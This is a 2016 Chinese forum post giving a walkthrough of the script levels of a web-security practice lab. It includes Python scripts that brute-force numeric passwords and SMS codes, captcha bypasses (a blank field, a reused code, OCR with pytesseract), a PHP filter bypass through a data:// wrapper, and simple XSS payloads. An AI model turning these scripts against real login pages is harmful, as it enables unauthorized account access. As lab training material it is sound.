九零登录

[【通过】] 网络安全实验室--脚本关writeup

[复制链接]
发表于 2016-8-15 18:43:44 | 显示全部楼层 |阅读模式
脚本关

[第一关]

点击链接后,页面会直接跳转到no_key_is_here_forever.php这个页面,然而根据页面源代码,应该是首先跳转到search_key.php。
http://7xi8n9.com1.z0.glb.clouddn.com/writeup1.png
所以,在search_key.php这个页面存在猫腻,接下来就是利用brup suite进行对数据的截取。 在http history中,找到三次get数据,其中关于search_key.php的响应如下:
http://7xi8n9.com1.z0.glb.clouddn.com/writeup1_1.png
Get Key! 从响应中也能发现,返回了一段script代码,页面自动跳转到no_key_is_here_forever.php,所以看不到返回的key。

[第二关]

经过观察,给出式子的格式是固定的,那么就只要获取数字,代入公式一样得出结果。 所以用python写脚本:
[Python] 纯文本查看 复制代码
#coding:utf-8
import requests
from bs4 import BeautifulSoup
import re

cookie = {'PHPSESSID':'9515090a314ddc0f6d7641af16f75fda'}
url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
response = requests.get(url,cookies=cookie)

soup = BeautifulSoup(response.text,'html.parser')
form = soup.find('form')
form = str(form)
snum = re.findall(r'\d+',form)

num = []
for n in snum[1:]:
        num.append(int(n))

result = num[0] * num[1] +num[2] * (num[3] + num[4])

post = {'v' : result}
res = requests.post(url,cookies=cookie,data=post)

print res.content

结果:
http://7xi8n9.com1.z0.glb.clouddn.com/writeup2_1.png

Get key!

[第三关]

第三关没有链接,提示是这个题目是空的,空的,空:null(还提示是小写)。

[第四关]

点击网页上的链接,并没有出现弹窗。观察了一下页面源码。

http://7xi8n9.com1.z0.glb.clouddn.com/writeup4_1.png

前两个js函数导致弹窗的失败,试过把后面所要的代码放进到chrome中的console中运行,报错。然后就只能直接保存页面,删除文件里面的两个函数,直接打开。

http://7xi8n9.com1.z0.glb.clouddn.com/writeup4_2.png


Get key!

[第五关]

暴力破解4位纯数字的密码,但是有验证码。虽然python能自动识别验证码,但是应该也能有什么绕过的方法。 依旧是开启brup suite,对提交的数据进行获取,然后放进brup suite里面重复提交,偶然发现只要页面没有进行刷新,产生的验证码就一直有效。 既然是脚本关,那就得用脚本来解决问题。

[Python] 纯文本查看 复制代码
#coding:utf-8

import requests

url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'

username = 'admin'
submit = 'submit'

pwd = 1000
cookie = {'PHPSESSID':'9515090a314ddc0f6d7641af16f75fda'}
while True:
        post = {"username":username,'pwd':pwd,'vcode':'zp9p','submit':submit}

        res = requests.post(url,data=post,cookies=cookie)

        print res.content,'...',pwd
        pwd += 1
        if 'pwd' not in res.content:
                break

http://7xi8n9.com1.z0.glb.clouddn.com/writeup5_1.png


Get key!

[第六关]

依旧是验证码的问题。试试留空能不能绕过。

[Python] 纯文本查看 复制代码
#coding:utf-8

import requests

url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'

username = 'admin'
submit = 'submit'

pwd = 1000
cookie = {'PHPSESSID':'9515090a314ddc0f6d7641af16f75fda'}
while True:
        post = {"username":username,'pwd':pwd,'vcode':'','submit':submit}

        res = requests.post(url,data=post,cookies=cookie)

        print res.content,'...',pwd
        pwd += 1
        if 'pwd' not in res.content:
                break

http://7xi8n9.com1.z0.glb.clouddn.com/writeup6_1.png

Get key!

[第七关]

同上,留空绕过验证码。

http://7xi8n9.com1.z0.glb.clouddn.com/writeup7_1.png


[第八关]
好吧,这关需要绕过php的过滤。

[PHP] 纯文本查看 复制代码
<?php  
    header("Content-type: text/html; charset=utf-8");
    if (isset($_GET['view-source'])) { 
        show_source(__FILE__); 
        exit(); 
    } 

    include('flag.php'); 

    $smile = 1;  

   if (!isset ($_GET['^_^'])) $smile = 0;  
    if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;  
    if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;  
    if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0; 
    if ($smile) { 
        if (@file_exists ($_GET['^_^'])) $smile = 0;  
    }  
    if ($smile) { 
        $smile = @file_get_contents ($_GET['^_^']);  
        if ($smile === "(●'&#9697;'●)") die($flag);  
    }  
?>  


首先,在这关页面输入框里面输入提交内容是无效的,根据提供的php代码,必须得GET方法提交数据,这是第一步。

第二步,提交的参数名要是”^_^”,在if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0; 这里面,又对下划线进行了过滤,那么只有绕过了,利用urlcode “ _ == %5f “。

第三步,就是提交(●’&#9697;’●),因为需要绕过if (!isset ($_GET['^_^'])) $smile = 0; ,所以,得用php里面已经set过的参数。并且还能传递(●’&#9697;’●)作为真正的变量。可以参考http://php.net/manual/zh/wrappers.php,这里面php支持的协议。里面大部分的协议已经被过滤了,那么只有利用data://text/plain。

构造完成后的链接就是:?^%5f^=data://text/plain,(●’&#9697;’●)


http://7xi8n9.com1.z0.glb.clouddn.com/writeup_8.png

Get Key! 又得要入php这个大坑了。。


[第九关]

手机验证码登录,获取验证码后,提示please login as 13388886667,那就用这个号登录呗,又被告知

http://7xi8n9.com1.z0.glb.clouddn.com/writeup9_1.png

只能再用brup suite进行截取数据了。

http://7xi8n9.com1.z0.glb.clouddn.com/writeup9_2.png

有用只有6666这个号码能获取到验证码,那么就修改下数据包里面的参数,将号码改成6666获取一波验证码,试试看有没有用。

http://7xi8n9.com1.z0.glb.clouddn.com/writeup9_3.png

Get Key!

[第十关]

依旧是验证码,三位数的,python暴力的跑吧。

[Python] 纯文本查看 复制代码
#coding:utf-8

import requests

url = 'http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php'

username = '13388886666'
submit = 'submit'

vcode = 100
fobj = open('t.html','w')

cookie = {'PHPSESSID':'9515090a314ddc0f6d7641af16f75fda'}
while True:
        post = {"username":username,'vcode':vcode,'login':submit}

        res = requests.post(url,data=post,cookies=cookie)

        print res.content,'...',vcode
        vcode += 1
        fobj.writelines(res.content)
        if 'key'  in res.content:
                break

将所有的响应结果保存下来,发现这个。

http://7xi8n9.com1.z0.glb.clouddn.com/writeup10_1.png

再登录提示的账号,只要修改脚本里面的username就可以了。

http://7xi8n9.com1.z0.glb.clouddn.com/writeup10_2.png

Get Key!

[第十一关]

这里就需要利用pytesseract来对验证码进行识别,从而暴力破解。

[Python] 纯文本查看 复制代码
#coding:utf-8

import requests
import pytesseract
from PIL import Image

def xcode(code,cookie):
        fobj = open('test.png','wb')
        ucode = requests.get(code,cookies=cookie)
        for l in ucode.content:
                fobj.writelines(l)
        fobj.close()
        im = Image.open('test.png')

        text = pytesseract.image_to_string(im)
        text = text.replace(" ",'')

        if text.isdigit() and len(text)==4:
                return text
        else:
                return xcode(code,cookie)

if __name__ == '__main__':
                
        url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
        code = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'

        username = '13388886666'
        submit = 'submit'

        vcode = 100

        cookie = {'PHPSESSID':'×××××××'}
        while True:
                
                text = xcode(code,cookie)
                post = {"username":username,'mobi_code':vcode,'user_code':text,'Login':submit}

                res = requests.post(url,data=post,cookies=cookie)

                print res.content,'...',vcode,text
                vcode += 1

                if 'key'  in res.content:
                        break

在破解的时候,需要用到cookies。加上就ok了。

http://7xi8n9.com1.z0.glb.clouddn.com/writeup_11.png

Get Key!

[第十二关]

简单的xss,没有任何过滤。

http://7xi8n9.com1.z0.glb.clouddn.com/writeup_12.png


Get Key!

[第十三关]

这一关对 script 进行了过滤,那么可用其他:’<img src=”#” onerror=alert(HackingLab)>’

http://7xi8n9.com1.z0.glb.clouddn.com/writeup_13.png

Get Key!


EOF


=====================================

原则上不收取已经发布的文章,所以不予酒票奖励。

                            管理 05

发表于 2016-8-20 05:22:38 | 显示全部楼层
谢谢分享~~~~~~~~~~~~

评分

参与人数 1酒票 -1 收起 理由
管理05 -1 请勿灌水

查看全部评分

九零

GMT+8, 2026-10-22 12:54

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表